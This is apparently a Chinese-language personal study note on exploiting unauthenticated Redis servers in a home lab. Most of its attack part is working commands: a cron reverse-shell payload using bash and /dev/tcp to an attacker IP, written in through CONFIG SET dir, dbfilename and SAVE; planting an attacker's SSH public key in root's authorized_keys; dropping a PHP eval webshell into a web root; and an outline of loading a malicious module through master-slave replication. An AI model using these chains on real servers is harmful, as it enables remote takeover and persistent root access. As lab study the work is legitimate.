ssrf redis 未授权
SSRF + Redis 利用方式学习笔记 - 1ndex- - 博客园
Docker环境复现利用Redis未授权访问漏洞 >> 批量扫描检测利用 - 春告鳥 - 博客园
这个思路比较清晰
redis未授权漏洞复现(超详细) - 红云hongyun - 博客园
10.Redis未授权访问漏洞复现与利用 - bmjoker - 博客园
这个比较详细
Redis安全漏洞全解析:未授权访问、主从复制原理分析与本地靶场实战(超详细)_redis主从复制漏洞-CSDN博客
单讲主从复制
Redis主从复制代码执行漏洞 | Tahir's Wiki
这篇讲了resp
SSRF漏洞之Redis利用篇【三】 - FreeBuf网络安全行业门户
挺完整的
先看看redis咋用吧

String(字符串)
string 是 redis 最基本的类型,你可以理解成与 Memcached 一模一样的类型,一个 key 对应一个 value。
string 类型是二进制安全的。意思是 redis 的 string 可以包含任何数据,比如jpg图片或者序列化的对象。
string 类型是 Redis 最基本的数据类型,string 类型的值最大能存储 512MB。
常用命令
SET key value:设置键的值。GET key:获取键的值。INCR key:将键的值加 1。DECR key:将键的值减 1。APPEND key value:将值追加到键的值之后。
实例
redis 127.0.0.1:6379> SET runoob "菜鸟教程"
OK
redis 127.0.0.1:6379> GET runoob
"菜鸟教程"

Hash(哈希)
Redis hash 是一个键值(key=>value)对集合,类似于一个小型的 NoSQL 数据库。
Redis hash 是一个 string 类型的 field 和 value 的映射表,hash 特别适合用于存储对象。
每个哈希最多可以存储 2^32 - 1 个键值对。
常用命令
HSET key field value:设置哈希表中字段的值。HGET key field:获取哈希表中字段的值。HGETALL key:获取哈希表中所有字段和值。HDEL key field:删除哈希表中的一个或多个字段。
实例
DEL runoob 用于删除前面测试用过的 key,不然会报错:(error) WRONGTYPE Operation against a key holding the wrong kind of value

redis 127.0.0.1:6379> DEL runoob
redis 127.0.0.1:6379> HMSET runoob field1 "Hello" field2 "World"
"OK"
redis 127.0.0.1:6379> HGET runoob field1
"Hello"
redis 127.0.0.1:6379> HGET runoob field2
"World"

常见命令

INFO 命令
作用:INFO 命令是获取 Redis 实例内部状态最全面、最权威的工具,堪称 Redis 运维的"瑞士军刀"。它提供 Redis 实例的实时运行状态信息,包括服务器信息、客户端连接、内存使用、持久化状态、统计信息等多个维度。
使用方式:
INFO:获取所有信息(默认)INFO server:获取服务器信息INFO memory:获取内存使用信息INFO stats:获取统计信息INFO all:获取所有章节信息
输出内容:
Server:Redis 版本、运行模式、操作系统、TCP 端口等Clients:连接客户端数量、输入输出缓冲区等Memory:内存使用情况、碎片率等Persistence:持久化状态(RDB/AOF)Stats:操作统计(连接数、命令处理量等)Replication:主从复制状态
用途:主要用于监控和诊断 Redis 实例的运行状态,例如:
- 检查内存使用情况(used_memory)
- 查看连接数(connected_clients)
- 监控操作吞吐量(instantaneous_ops_per_sec)
CONFIG GET * 命令
作用:CONFIG GET 命令用于获取 Redis 服务的配置参数,查看 Redis 的配置设置。
使用方式:
CONFIG GET parameter:获取特定配置参数CONFIG GET *:获取所有配置参数CONFIG GET s*:获取所有以 s 开头的配置参数
输出内容:
- 以键值对形式返回配置参数
- 例如:
1) "requirepass" 2) (nil)表示没有设置密码
用途:主要用于查看 Redis 的配置,特别是安全配置,例如:
- 检查是否设置了密码(
requirepass) - 检查是否限制了绑定 IP(
bind) - 检查持久化设置(
appendonly、save等)
两者的关键区别
| 特性 | INFO 命令 | CONFIG GET * 命令 |
|---|---|---|
| 主要用途 | 获取实例的实时运行状态 | 获取 Redis 的配置参数 |
| 输出内容 | 运行时统计数据(内存、连接、操作等) | 配置文件中的设置参数 |
| 安全相关 | 不能直接显示安全配置 | 可直接显示安全配置(如密码、绑定IP) |
| 示例 | INFO memory 显示内存使用情况 |
CONFIG GET requirepass 显示密码设置 |
| 典型应用 | 监控性能、诊断问题 | 配置安全策略、验证配置 |
redis未授权漏洞复现(超详细) - 红云hongyun - 博客园
10.Redis未授权访问漏洞复现与利用 - bmjoker - 博客园
实战中redis常用命令:
1.redis-cli -h ip -p 6379 -a passwd # 外部连接,Redis 的连接除了通过指定 IP,也可以通过指定域名
2.info # 查看相关redis信息
3.set xz "Hacker" # 设置键xz的值为字符串Hacker
4.get xz # 获取键xz的内容
5.INCR score # 使用INCR命令将score的值增加1
6.keys * # 列出当前数据库中所有的键
7.config set protected-mode no # 关闭安全模式
8.get anotherkey # 获取一个不存在的键的值
9.config set dir /root/redis # 设置保存目录
10.config set dbfilename redis.rdb # 设置保存文件名
11.config get dir # 查看保存目录
12.config get dbfilename # 查看保存文件名
13.save # 进行一次备份操作
14.flushall # 删除所有数据
15.del key # 删除键为key的数据
16.slaveof ip port # 设置主从关系
17.127.0.0.1:6379> mset k1 v1 k2 v2 k3 v3 #批量设置键值对
OK
18.127.0.0.1:6379> mget k1 k2 k3 #批量获取键值对
1) "v1"
2) "v2"
3) "v3"
使用SET和GET命令,可以完成基本的赋值和取值操作;
Redis是不区分命令的大小写的,set和SET是同一个意思;
使用keys *可以列出当前数据库中的所有键;
当尝试获取一个不存在的键的值时,Redis会返回空,即(nil);
如果键的值中有空格,需要使用双引号括起来,如"Hello World";
redis.conf 配置文件参数
port参数
格式:
port <端口号>
示例:port 6379
说明:指定Redis服务器监听的端口号,客户端将通过该端口连接服务器。bind参数
格式:
bind <IP地址1> <IP地址2>...
示例:bind 192.168.47.173 10.0.0.1
说明:设置允许连接的IP地址白名单,多个IP用空格分隔。设置为0.0.0.0时允许任意IP连接。save参数
格式:
save <秒数> <键值变化次数>
示例:save 900 1 save 300 10 save 60 10000说明:配置数据持久化规则,当指定时间间隔内发生指定次数的数据变更时,自动将内存数据保存到磁盘。
requirepass参数
格式:
requirepass <密码>
说明:设置客户端连接密码。默认无密码,配置文件中示例密码为"foobared"(注释状态)。dir参数
格式:
dir <目录路径>
默认值:dir ./
说明:指定Redis工作目录,所有持久化文件将存储在此目录下。dbfilename参数
格式:
dbfilename <文件名>
默认值:dbfilename dump.rdb
说明:定义持久化数据文件的名称。config命令
说明:用于动态修改配置参数。出于安全考虑,可通过
rename-command重命名该命令。
示例:rename-command CONFIG HTCMDprotected-mode参数
说明:Redis 3.2+新增的安全模式,默认开启(yes)会阻止外部连接。测试时可临时设置为no。
复习一下计划任务咋写
crontab使用说明【一文搞懂Linux定时任务Crontab】 - 暮良文王 - 博客园
人家用的是不是kali的
kali对应的查看计划任务是
systemctl status cron
反弹shell
开监听

弹shell

成功

用计划任务弹

关键分析
* * * * * bash -c 'bash -i >& /dev/tcp/192.168.176.128/6111 0>&1'
| 字段 | 含义 |
|---|---|
* * * * * |
每分钟执行一次(5个*分别代表:分 时 日 月 周) |
bash -c '...' |
用 bash 执行反弹 shell 命令 |
192.168.176.128 |
攻击者 IP(你的 Kali) |
6111 |
监听端口 |

redis未授权写计划任务
// 设置key
set xxx "\n\n* * * * * bash -i>& /dev/tcp/192.168.253.128/2333 0>&1\n\n"
//添加名为xxx的key,值为后面反弹shell的语句,5个星号代表每分钟执行一次,其中的\n同样是为了换行,避免crontab的语法错误。这里你也可以去不加\n,去看看乱码,踩个坑才能印象深刻
// 设置路径
config set dir /var/spool/cron/
// 设置文件名
config set dbfilename root
// 保存key值到root文件中
save
然后等待成功就行了
什么是 dir 参数?
dir 是 Redis 配置文件中的一个关键参数,它的原始作用是指定 Redis 持久化文件的存储目录。
详细说明
-
默认值:
dir的默认值是当前工作目录(即 Redis 服务器启动时所在的目录,通常表示为./或.)。- 例如:当 Redis 以守护进程方式运行时,它会将数据文件保存在 Redis 服务器启动时所在的目录。
-
作用:
dir参数决定了 Redis 生成的持久化文件(RDB 快照文件和 AOF 文件)将被保存到哪个目录。- 它仅影响持久化功能,不影响 Redis 的其他功能。
-
在配置文件中的位置:
- 在 Redis 的配置文件(
redis.conf)中,dir通常这样设置:textdir /var/lib/redis - 这表示 Redis 会将数据文件保存在
/var/lib/redis目录下。
- 在 Redis 的配置文件(
-
为什么重要:
- 选择合适的存储目录可以确保 Redis 实例的数据安全性和性能。
- 生产环境中通常会将
dir设置为专门的、有足够空间的目录,而不是默认的当前工作目录。
与 dbfilename 的关系
dir是目录,dbfilename是文件名。- 例如,如果
dir设置为/var/lib/redis,dbfilename设置为dump.rdb,那么 RDB 文件将保存为:text/var/lib/redis/dump.rdb
为什么在漏洞利用中会被修改
在未授权 Redis 漏洞利用中,攻击者会临时修改 dir 参数(如 config set dir /var/spool/cron/),将 Redis 的持久化目录指向系统 cron 目录,然后通过 config set dbfilename root 设置文件名,最后执行 save 将恶意内容写入到 /var/spool/cron/root(即 root 用户的 crontab 文件),从而实现远程命令执行。
重要提示

正常使用一下Redis 持久化


然后看下有换行的情况


懂了,就是用了save之后你用redis设置的数据才写到数据库,然后数据库的路径和文件名都可以控制
Redis 的数据持久化机制实际上是:
数据始终驻留在内存中
执行 save 命令时,会将当前内存中的完整数据状态快照写入磁盘文件
具体流程说明:
set a 1 # 数据立即写入内存
save # 将内存数据快照写入 dump.rdb 文件
🔍 核心要点解析
1️⃣ 内存数据库特性
Redis 作为内存数据库:
- 所有数据默认存储在 RAM 中
- 断电会导致数据丢失
2️⃣ RDB 持久化原理
执行 save 命令时:
- Redis 将整个内存数据集序列化
- 一次性写入 .rdb 文件(非增量写入)
3️⃣ 存储路径配置
默认配置:
dir /data
dbfilename dump.rdb
支持动态修改:
config set dir /var/www/html
config set dbfilename shell.php
修改后执行 save 将写入:
/var/www/html/shell.php
报错信息:
ERR CONFIG SET failed (possibly related to argument 'dir') - can't set protected config
原因分析:
🔐 Redis 8.0 及以上版本默认启用了"受保护配置"机制
根据 apt 输出显示: redis-server 版本为 5:8.0.5-1
这表明:
- 该问题与权限无关
- Redis 8.0 默认禁止此类危险配置修改
- 该机制有效防御了经典的未授权 cron 写入漏洞
漏洞环境要
修改配置文件
vim打开redis.conf文件,然后找到daemonize 值改为yes(后台启动,不然窗口一关服务就挂了)
bind 127.0.0.1注释掉,否则只允许本地访问
requirepass yourpassword可以设置密码(这个实验就先不设置了)
protected-mode no
启动redis服务:需要两个文件 redis-server redis.conf(注意这两个并不是在同一级目录,根据自己当前所在目录进行调用)
enable-protected-configs yes (补充)
① daemonize yes
作用:
是否后台运行
跟漏洞利用完全无关。
只是让 redis 变成守护进程。
② bind 127.0.0.1
作用:
限制只能本地访问
你注释掉之后:
bind *
就可以远程访问。
这只是“暴露服务”。
③ requirepass
设置密码。
没设置 = 未授权。
④ protected-mode
这是旧版的“安全模式”。
如果:
-
没密码
-
绑定 0.0.0.0
它会自动拒绝外部连接。
但:
⚠ 它并不控制 CONFIG SET dir
🎯 真正控制你失败的,是这个
Redis 8 默认:
enable-protected-configs no
意思是:
禁止在线修改敏感配置
包括:
-
dir
-
dbfilename
-
requirepass
-
masterauth
所以你改前面那些没用。
![]()
成功
Redis 未授权访问漏洞中常见 root 用户计划任务写入的原因:
- 进程权限问题
- 旧版 Redis 服务通常以 root 身份运行
- 导致其创建的文件默认归属 root
- Cron 任务类型分析 📌 用户级 crontab
- 路径:/var/spool/cron/crontabs/用户名
- 写入要求:必须具备相应用户权限
📌 系统级 crontab
- 示例路径:/etc/crontab
- 格式差异:
-
-
-
-
- [用户] [命令]
-
-
-
-
- 示例:
-
-
-
-
- root /usr/bin/python3 /root/test.py
-
-
-
-
- 攻击者偏好 root 的原因
- 历史背景: • 早期 Redis 常以 root 权限运行(ps aux | grep redis 可见) • 具备 /var/spool/cron/ 目录写入权限 • 可操作 root 用户的 crontab
- 执行优势: • cron 以 root 权限运行时可获得最大控制权
![]()
改完还要重启服务
之所以很多 Redis 未授权的计划任务写 root,是因为:
Redis 进程在很多旧环境里是以 root 身份运行的。
所以它写入的文件,自然也是 root 的。
🔎 先看 cron 的两种类型
① 用户级 crontab
路径通常是:
/var/spool/cron/crontabs/用户名
如果你想写入某个用户的计划任务:
👉 必须有该用户的权限。
② 系统级 crontab
例如:
/etc/crontab
这里的格式是:
分 时 日 月 星期 用户 命令
注意:多了一个“执行用户”字段。
比如:
* * * * * root /usr/bin/python3 /root/test.py
这里明确指定用 root 执行。
🔥 那为什么利用里几乎都写 root?
因为早期很多 Redis 环境:
redis-server 以 root 启动
也就是说:
ps aux | grep redis
会看到:
root 1234 redis-server
那么:
-
Redis 有权限写
/var/spool/cron/ -
可以写 root 的 crontab
-
cron 执行时也是 root
于是效果最大。
注意redis启动的时候要用root启动啊
不然写到root的
![]()
-
权限问题根源:
/var/spool/cron/目录权限:drwxr-xr-x(755)redis用户不是 root,没有写权限(只有 root 有写权限)
在 Kali/Debian 上,用户 crontab 的标准路径通常是: 👉
/var/spool/cron/crontabs/root
而你写入的路径是: 👉 /var/spool/cron/root
3.1.2 远程连接Redis服务器并写入反弹Payload
// 设置key
set xxx "\n\n* * * * * bash -c 'bash -i >& /dev/tcp/192.168.176.128/6111 0>&1'\n\n"
//添加名为xxx的key,值为后面反弹shell的语句,5个星号代表每分钟执行一次,其中的\n同样是为了换行,避免crontab的语法错误。这里你也可以去不加\n,去看看乱码,踩个坑才能印象深刻
// 设置路径
config set dir /var/spool/cron/
// 设置文件名
config set dbfilename root
// 保存key值到root文件中
save
然后等待成功就行了


但是格式不对,不知道是不是我下的最新版的redis是不是改了啥
下个旧版的重来吧
好吧,直接抄别人的环境也用centos7了
tar -zxvf redis-4.0.10.tar.gz
find / -name redis-server
可以找
centos要关防火墙,连上了。





难道是之前命令不同吗
确实是用了-c后

⚠ 但 RDB 是 二进制格式
所以写 cron 是“概率成功”
SSH公钥认证使用指南
一、在Kali Linux生成密钥对
-
执行以下命令生成RSA密钥对:
ssh-keygen -t rsa -b 2048 -
生成过程中连续按回车键接受默认设置
-
生成的密钥文件位于:
~/.ssh/id_rsa # 私钥 ~/.ssh/id_rsa.pub # 公钥 -
验证生成结果:
ls -l ~/.ssh应显示
id_rsa和id_rsa.pub两个文件
二、上传公钥至目标服务器
假设服务器IP地址为192.168.176.135:
-
使用以下命令上传公钥:
ssh-copy-id root@192.168.176.135 -
根据提示输入服务器密码完成认证
-
成功上传后,服务器会自动在
/root/.ssh/目录下创建authorized_keys文件并添加你的公钥
三、测试免密登录
- 使用以下命令连接服务器:
ssh root@192.168.176.135 - 成功标志:
- 无需输入密码
- 直接进入服务器shell环境
SSH公钥认证使用指南
一、在Kali Linux生成密钥对
-
执行以下命令生成RSA密钥对:
ssh-keygen -t rsa -b 2048 -
生成过程中连续按回车键接受默认设置
-
生成的密钥文件位于:
~/.ssh/id_rsa # 私钥 ~/.ssh/id_rsa.pub # 公钥 -
验证生成结果:
ls -l ~/.ssh应显示
id_rsa和id_rsa.pub两个文件 -

二、上传公钥至目标服务器
假设服务器IP地址为192.168.176.135:
-
使用以下命令上传公钥:
ssh-copy-id root@192.168.176.135 -
根据提示输入服务器密码完成认证
-
成功上传后,服务器会自动在
/root/.ssh/目录下创建authorized_keys文件并添加你的公钥
三、测试免密登录
- 使用以下命令连接服务器:
ssh root@192.168.176.135 - 成功标志:
- 无需输入密码
- 直接进入服务器shell环境

若您已成功通过SSH公钥登录服务器,可通过以下方式移除授权密钥:
- 彻底删除所有公钥:
rm -f /root/.ssh/authorized_keys
- 选择性删除特定公钥:
vim /root/.ssh/authorized_keys
在编辑器中删除对应的公钥行即可。
此方法操作简单且安全可靠。
若您已成功通过SSH公钥登录服务器,可通过以下方式移除授权密钥:
- 彻底删除所有公钥:
rm -f /root/.ssh/authorized_keys
- 选择性删除特定公钥:
vim /root/.ssh/authorized_keys
在编辑器中删除对应的公钥行即可。
此方法操作简单且安全可靠。

删完要密码了,用redis写
一、查看自己的公钥
在 Kali 执行:
cat ~/.ssh/id_rsa.pub
如果你用的是新版默认密钥(ed25519),执行:
cat ~/.ssh/id_ed25519.pub
但是有乱码

多写几个换行


还是别人的简洁。
3.1.2 远程连接Redis服务器并写入反弹Payload
// 设置key
set xxx "\n\n* * * * * bash -i>& /dev/tcp/192.168.253.128/2333 0>&1\n\n"
//添加名为xxx的key,值为后面反弹shell的语句,5个星号代表每分钟执行一次,其中的\n同样是为了换行,避免crontab的语法错误。这里你也可以去不加\n,去看看乱码,踩个坑才能印象深刻
// 设置路径
config set dir /var/spool/cron/
// 设置文件名
config set dbfilename root
// 保存key值到root文件中
save
然后等待成功就行了
3.2 利用写入公钥登录ssh
3.2.1 kali 生成公私钥
// 生成公私钥
ssh-keygen -t rsa
// 防止乱码,导出key
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
// 导入内容
cat key.txt| redis-cli -h 192.168.253.135 -x set putsshkey
3.2.2 远程连接Redis服务器并写入公钥
这个注意如果centos7没有.ssh,创建一个就行
// 设置路径
config set dir /root/.ssh
// 设置文件名
config set dbfilename authorized_keys
// 保存key值到root文件中
save
3.2.3 kali 远程登录目标系统
ssh -i id_rsa root@192.168.253.135

3.3 利用写入WEBShell连接远程服务器
3.3.1 远程连接Redis服务器并写入WEBShell
这个想要复现可以在Linux一键部署个小皮面板:这个是centos安装的脚本
yum install -y wget && wget -O install.sh https://download.xp.cn/install.sh && sh install.sh
注意事项:
/www/admin/localhost_80/wwwroot 这个是默认根路径
然后你可能把一句话木马传上去了,但是蚁剑连接不上
1.先是排查一句话木马有没有写错
2.然后就是排查小皮的apache的服务有没有起来,这个要去浏览器的的管理界面去看,然后如果没启,就把它起来,如果报错,可能是这个80端口被占用
netstat -anlp | grep 80
来排查哪个服务占用的,把那个服务停了,再启apache就行了
利用条件:
- 知道网站根目录绝对路径(实际渗透过程中,这个方法通常需要搭配 phpinfo() 等方法使用。)
- 无需是 root 起的 Redis
- 可适用于 Windows(非 ssh 连接)
- 一般无需 flushall 清空数据库(一定情况下也需要)
config set dir /www/admin/localhost_80/wwwroot
config set dbfilename webshell.php
set x '<?php @eval($_GET["cmd"]);phpinfo();?>'
save
蚁剑连接
xp现在默认的
-
站点根目录:
/xp/www/站点域名或IP/
config set dir /xp/www/192.168.176.135
config set dbfilename webshell.php
set x '<?php @eval($_GET["cmd"]);phpinfo();?>'
save
蚁剑连接


webshell只要包裹在不需要考虑乱码问题,因为php只会解析<?php ?> 里面的。
redis主从复制rce
但是不用工具的话
你这个问题问到了 Redis 主从复制的核心逻辑,结论先给你:绝大多数情况下,首次建立主从连接会触发全量复制;只有满足特定条件时,才会触发增量复制。结合你做的 Redis 攻击场景,我把这个逻辑讲透:
一、核心结论:首次主从连接 ≈ 必然触发全量复制
当你执行SLAVEOF 攻击机IP 端口后,目标 Redis(从节点)和攻击机 Redis(主节点)首次建立连接时,99% 的情况会触发全量复制(FULLRESYNC),也就是你截图里看到的PSYNC ? -1 → FULLRESYNC的过程。
只有两种极端情况不会触发全量复制(对你的攻击场景来说,基本遇不到):
- 从节点之前同步过这个主节点,且主节点还保留着从节点的 “复制偏移量” 和 “积压缓冲区”;
- 主从之间的网络断连后重新连接,且断连时间短、数据积压没超过缓冲区大小。
这篇文章手动打的主从复制
照着教程搞



✅ 而是 未授权访问 + 主从复制机制 + 模块加载机制 组合形成的攻击链
但是用工具打的话感觉不是很理解
手把手教你玩儿一下 Redis Module 之模块解读 - 知乎
先玩下redis模块

1️⃣ 编译命令解析
cc -Wall -Wno-unused-function -g -ggdb -O2 -fPIC -std=gnu99 -D_GNU_SOURCE -c -o module.o module.c
cc:调用 GCC C 编译器-Wall -Wno-unused-function:启用所有编译警告(排除未使用函数警告)-g -ggdb:生成 GDB 调试信息-O2:启用二级优化-fPIC:生成位置无关代码(动态库必需)-std=gnu99:采用 GNU 扩展的 C99 标准-D_GNU_SOURCE:启用 GNU 特有函数-c:仅编译不链接-o module.o:输出目标文件module.c:源文件
此步骤将 module.c 编译为中间目标文件 module.o
2️⃣ 链接命令解析
ld -o panda.so module.o -shared -Bsymbolic -Bsymbolic-functions -lc
ld:调用链接器-o panda.so:输出动态库文件module.o:输入目标文件-shared:生成共享库-Bsymbolic -Bsymbolic-functions:确保模块内部符号绑定-lc:链接标准 C 库
此步骤将 module.o 链接为 Redis 可加载的动态库 panda.so
🔧 编译流程
module.c → (编译) → module.o → (链接) → panda.so
.c:C 源代码.o:编译后的目标文件.so:动态库(Redis 可直接加载)
Redis 模块详解
本质与机制
Redis 模块是通过动态库(.so)扩展 Redis 功能的官方方案,允许:
- 添加自定义命令
- 实现新数据结构
- 通过 C 代码增强 Redis 功能
命令注册原理
模块通过类似以下代码注册命令:
RedisModule_CreateCommand(ctx, "panda.hello", PandaHelloCommand, "readonly", 0,0,0);
"panda.hello":注册的命令名PandaHelloCommand:对应的 C 函数实现"readonly":声明命令属性
安全考量
- 正常模块:仅实现声明功能(如字符画打印)
- 风险模块:可能包含系统命令执行等危险操作
execve("/bin/sh", NULL, NULL); // 潜在危险代码示例
模块安全性完全取决于实现逻辑,加载需谨慎
1️⃣ 编译命令解析
cc -Wall -Wno-unused-function -g -ggdb -O2 -fPIC -std=gnu99 -D_GNU_SOURCE -c -o module.o module.c
cc:调用 GCC C 编译器-Wall -Wno-unused-function:启用所有编译警告(排除未使用函数警告)-g -ggdb:生成 GDB 调试信息-O2:启用二级优化-fPIC:生成位置无关代码(动态库必需)-std=gnu99:采用 GNU 扩展的 C99 标准-D_GNU_SOURCE:启用 GNU 特有函数-c:仅编译不链接-o module.o:输出目标文件module.c:源文件
此步骤将 module.c 编译为中间目标文件 module.o
2️⃣ 链接命令解析
ld -o panda.so module.o -shared -Bsymbolic -Bsymbolic-functions -lc
ld:调用链接器-o panda.so:输出动态库文件module.o:输入目标文件-shared:生成共享库-Bsymbolic -Bsymbolic-functions:确保模块内部符号绑定-lc:链接标准 C 库
此步骤将 module.o 链接为 Redis 可加载的动态库 panda.so
🔧 编译流程
module.c → (编译) → module.o → (链接) → panda.so
.c:C 源代码.o:编译后的目标文件.so:动态库(Redis 可直接加载)
Redis 模块详解
本质与机制
Redis 模块是通过动态库(.so)扩展 Redis 功能的官方方案,允许:
- 添加自定义命令
- 实现新数据结构
- 通过 C 代码增强 Redis 功能
命令注册原理
模块通过类似以下代码注册命令:
RedisModule_CreateCommand(ctx, "panda.hello", PandaHelloCommand, "readonly", 0,0,0);
"panda.hello":注册的命令名PandaHelloCommand:对应的 C 函数实现"readonly":声明命令属性
安全考量
- 正常模块:仅实现声明功能(如字符画打印)
- 风险模块:可能包含系统命令执行等危险操作
execve("/bin/sh", NULL, NULL); // 潜在危险代码示例
模块安全性完全取决于实现逻辑,加载需谨慎
panda.so的c源码是
#include <stdio.h>
#include <stdlib.h>
#include<sys/time.h>
#include <string.h>
#include "redismodule.h"
int HelloCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
char pandaSrt[] = " _,add8ba,\n"
" ,d888888888b,\n"
" d8888888888888b _,ad8ba,_\n"
" d888888888888888) ,d888888888b,\n"
" I8888888888888888 _________ ,8888888888888b\n"
" __________`Y88888888888888P\"\"\"\"\"\"\"\"\"\"\"baaa,__ ,888888888888888,\n"
" ,adP\"\"\"\"\"\"\"\"\"\"\"9888888888P\"\"^ ^\"\"Y8888888888888888I\n"
" ,a8\"^ ,d888P\"888P^ ^\"Y8888888888P'\n"
" ,a8^ ,d8888' ^Y8888888P'\n"
" a88' ,d8888P' I88P\"^\n"
" ,d88' d88888P' \"b,\n"
" ,d88' d888888' `b,\n"
" ,d88' d888888I `b,\n"
" d88I ,8888888' ___ `b,\n"
" ,888' d8888888 ,d88888b, ____ `b,\n"
" d888 ,8888888I d88888888b, ,d8888b, `b\n"
",8888 I8888888I d8888888888I ,88888888b 8,\n"
"I8888 88888888b d88888888888' 8888888888b 8I\n"
"d8886 888888888 Y888888888P' Y8888888888, ,8b\n"
"88888b I88888888b `Y8888888^ `Y888888888I d88,\n"
"Y88888b `888888888b, `\"\"\"\"^ `Y8888888P' d888I\n"
"`888888b 88888888888b, `Y8888P^ d88888\n"
" Y888888b ,8888888888888ba,_ _______ `\"\"^ ,d888888\n"
" I8888888b, ,888888888888888888ba,_ d88888888b ,ad8888888I\n"
" `888888888b, I8888888888888888888888b, ^\"Y888P\"^ ____.,ad88888888888I\n"
" 88888888888b,`888888888888888888888888b, \"\" ad888888888888888888888'\n"
" 8888888888888698888888888888888888888888b_,ad88ba,_,d88888888888888888888888\n"
" 88888888888888888888888888888888888888888b,`\"\"\"^ d8888888888888888888888888I\n"
" 8888888888888888888888888888888888888888888baaad888888888888888888888888888'\n"
" Y8888888888888888888888888888888888888888888888888888888888888888888888888P\n"
" I888888888888888888888888888888888888888888888P^ ^Y8888888888888888888888'\n"
" `Y88888888888888888P88888888888888888888888888' ^88888888888888888888I\n"
" `Y8888888888888888 `8888888888888888888888888 8888888888888888888P'\n"
" `Y888888888888888 `888888888888888888888888, ,888888888888888888P'\n"
" `Y88888888888888b `88888888888888888888888I I888888888888888888'\n"
" \"Y8888888888888b `8888888888888888888888I I88888888888888888'\n"
" \"Y88888888888P `888888888888888888888b d8888888888888888'\n"
" ^\"\"\"\"\"\"\"\"^ `Y88888888888888888888, 888888888888888P'\n"
" \"8888888888888888888b, Y888888888888P^\n"
" `Y888888888888888888b `Y8888888P\"^\n"
" \"Y8888888888888888P `\"\"\"\"^\n"
" `\"YY88888888888P'\n"
"";
RedisModule_ReplyWithSimpleString(ctx, pandaSrt);
return REDISMODULE_OK;
}
int SimpleRandCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
long int randNum = rand();
RedisModule_ReplyWithLongLong(ctx, randNum);
return REDISMODULE_OK;
}
int GetTimeCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
struct timeval tp;
gettimeofday(&tp, NULL);
long int millisecs = tp.tv_sec * 1000 + tp.tv_usec / 1000;
RedisModule_ReplyWithLongLong(ctx, millisecs);
return REDISMODULE_OK;
}
int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
if (RedisModule_Init(ctx, "panda", 1, REDISMODULE_APIVER_1) ==
REDISMODULE_ERR) {
return REDISMODULE_ERR;
}
RedisModule_Log(ctx, "info", "panda redis module start up");
if (RedisModule_CreateCommand(ctx, "panda.hello", HelloCommand, "write fast",
1, 1, 1) == REDISMODULE_ERR) {
return REDISMODULE_ERR;
}
if (RedisModule_CreateCommand(ctx, "panda.rand", SimpleRandCommand, "readonly",
1, 1, 1) == REDISMODULE_ERR) {
return REDISMODULE_ERR;
}
if (RedisModule_CreateCommand(ctx, "panda.time", GetTimeCommand, "readonly",
1, 1, 1) == REDISMODULE_ERR) {
return REDISMODULE_ERR;
}
return REDISMODULE_OK;
}
1️⃣ C 文件与 .so 文件对比 module.c 或 panda.c 是 C 语言源代码文件:
#include "redismodule.h"
int HelloCommand(...) { ... }
int RedisModule_OnLoad(...) { ... }
这些文本文件需要经过编译才能被 CPU 执行。通过 make 命令完成编译过程:
cc -Wall -fPIC -std=gnu99 -c module.c -o module.o
ld -shared -o panda.so module.o
编译过程说明:
-c选项:生成包含机器码的目标文件 module.o-shared选项:将目标文件链接为动态库 .so 文件
.so 文件本质是包含机器码的动态链接库,可以被 Redis 等程序直接加载调用。
2️⃣ Redis 模块运行机制 Redis 模块实质就是一个 .so 文件:
- Redis 加载模块:
MODULE LOAD /path/to/panda.so - 自动查找并执行模块中的
RedisModule_OnLoad函数 - 在
RedisModule_OnLoad中注册自定义命令:
RedisModule_CreateCommand(ctx, "panda.hello", HelloCommand, "write fast", 1, 1, 1);
RedisModule_CreateCommand(ctx, "panda.rand", SimpleRandCommand, "readonly", 1, 1, 1);
注册成功后即可在 Redis 中调用:
127.0.0.1:6379> panda.hello
127.0.0.1:6379> panda.rand
127.0.0.1:6379> panda.time
3️⃣ 安全评估 当前模块功能安全无害:
panda.hello:输出字符画panda.rand:生成随机数panda.time:返回当前时间戳
⚠️ 安全警告: 若模块包含 system()、execve() 或文件操作函数,则可能造成 RCE(远程代码执行)风险。
🔑 核心要点
- C 文件:人类可读的源代码
- .so 文件:机器可执行的编译结果
- 模块命令功能完全取决于源码实现
💡 编译流程示意图:
C源代码 → 编译器 → .so 动态库 → Redis 加载执行
1️⃣ C 文件与 .so 文件对比 module.c 或 panda.c 是 C 语言源代码文件:
#include "redismodule.h"
int HelloCommand(...) { ... }
int RedisModule_OnLoad(...) { ... }
这些文本文件需要经过编译才能被 CPU 执行。通过 make 命令完成编译过程:
cc -Wall -fPIC -std=gnu99 -c module.c -o module.o
ld -shared -o panda.so module.o
编译过程说明:
-c选项:生成包含机器码的目标文件 module.o-shared选项:将目标文件链接为动态库 .so 文件
.so 文件本质是包含机器码的动态链接库,可以被 Redis 等程序直接加载调用。
2️⃣ Redis 模块运行机制 Redis 模块实质就是一个 .so 文件:
- Redis 加载模块:
MODULE LOAD /path/to/panda.so - 自动查找并执行模块中的
RedisModule_OnLoad函数 - 在
RedisModule_OnLoad中注册自定义命令:
RedisModule_CreateCommand(ctx, "panda.hello", HelloCommand, "write fast", 1, 1, 1);
RedisModule_CreateCommand(ctx, "panda.rand", SimpleRandCommand, "readonly", 1, 1, 1);
注册成功后即可在 Redis 中调用:
127.0.0.1:6379> panda.hello
127.0.0.1:6379> panda.rand
127.0.0.1:6379> panda.time
3️⃣ 安全评估 当前模块功能安全无害:
panda.hello:输出字符画panda.rand:生成随机数panda.time:返回当前时间戳
⚠️ 安全警告: 若模块包含 system()、execve() 或文件操作函数,则可能造成 RCE(远程代码执行)风险。
🔑 核心要点
- C 文件:人类可读的源代码
- .so 文件:机器可执行的编译结果
- 模块命令功能完全取决于源码实现
💡 编译流程示意图:
C源代码 → 编译器 → .so 动态库 → Redis 加载执行
一句话核心回答
未授权 ≠ 一定能直接加载 .so 文件
主从复制的作用是:
👉 把攻击者的 .so 文件“送到”目标机器上
而不是单纯为了执行命令。
为什么在未授权的情况下还需要主从复制?
当前的疑问可能是:
既然已经有未授权访问,直接执行 MODULE LOAD /tmp/evil.so 不就可以了吗?
关键在于:
❗ Redis 只能加载"目标服务器上已存在"的 .so 文件
